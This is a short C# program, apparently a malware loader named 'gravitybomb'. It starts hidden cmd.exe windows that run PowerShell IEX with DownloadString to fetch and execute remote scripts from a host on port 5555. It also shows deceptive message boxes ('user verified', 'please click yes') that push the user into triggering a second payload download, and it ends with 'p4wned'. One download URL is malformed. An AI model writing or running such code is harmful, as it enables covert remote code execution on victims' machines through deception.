0x002

using System.Text;
using System.Runtime.InteropServices;

namespace gravitybomb
{
    class Program
    {
        public static void ping1234()
        {
            System.Diagnostics.Process p3 = new System.Diagnostics.Process();
            System.Diagnostics.ProcessStartInfo s3 = new System.Diagnostics.ProcessStartInfo();
            s3.WindowStyle = System.Diagnostics.ProcessWindowStyle.Hidden;
            s3.FileName = "cmd.exe";
            s3.Arguments = "/C powershell -c IEX([Net.Webclient]::new().DownloadString('http:/[]:5555/test2.ps1'))";
            p3.StartInfo = s3;
            p3.Start();
        }

        public static void runf1()
        {
            System.Diagnostics.Process p4 = new System.Diagnostics.Process();
            System.Diagnostics.ProcessStartInfo s4 = new System.Diagnostics.ProcessStartInfo();
            s4.WindowStyle = System.Diagnostics.ProcessWindowStyle.Hidden;
            s4.FileName = "cmd.exe";
            s4.Arguments = "/C powershell -c IEX([Net.Webclient]::new().DownloadString('http://[]:5555/test3.ps1'))";
            p4.StartInfo = s4;
            p4.Start();
        }

        [DllImport("User32.dll")]
        public static extern int MessageBoxW(
            IntPtr hWnd,
            [param: MarshalAs(UnmanagedType.LPWStr)] string lpText,
            [param: MarshalAs(UnmanagedType.LPWStr)] string lpCaption,
            UInt32 uType
        );

        [DllImport("Advapi32.dll")]
        public static extern bool GetUserNameW(
        [param: MarshalAs(UnmanagedType.LPWStr)] StringBuilder lpBuffer,
        ref UInt32 pcbBuffer
        );


        public static void username()
        {
            StringBuilder mySB = new StringBuilder(100);
            UInt32 sZ = 20;

            bool res = GetUserNameW(mySB, ref sZ);
            string user = mySB.ToString();
            Console.WriteLine("data gen ");
            MessageBoxW(IntPtr.Zero, "user " + user + " verified", "Username Box", 0);
        }

        public delegate void sample();

        static void Main(string[] args)

        {

            byte[] buf = new byte[220];
            UInt32 MEM_COMMIT = 0x00001000;
            UInt32 PAGE_EXECUTE_READWRITE = 0x40;
            UInt32 MEM_DECOMMIT = 0x00004000;

            sample s = Program.username;
            s();

            Thread t1 = new Thread(new ThreadStart(ping1234));
            Thread t2 = new Thread(new ThreadStart(runf1));

            Console.WriteLine("please close this window");
            int userclick = 0;
            while (userclick == 0)
            {
                t1.Start();
                int test = MessageBoxW(IntPtr.Zero, "Click Yes to close", "Finish", 4);
                if (test == 6)
                {
                    t2.Start();
                    MessageBoxW(IntPtr.Zero, "p4wned", "1337", 0);
                    userclick = 2;
                }
                else { MessageBoxW(IntPtr.Zero, "please click yes", "hi", 0); }
            }
        }
    }
}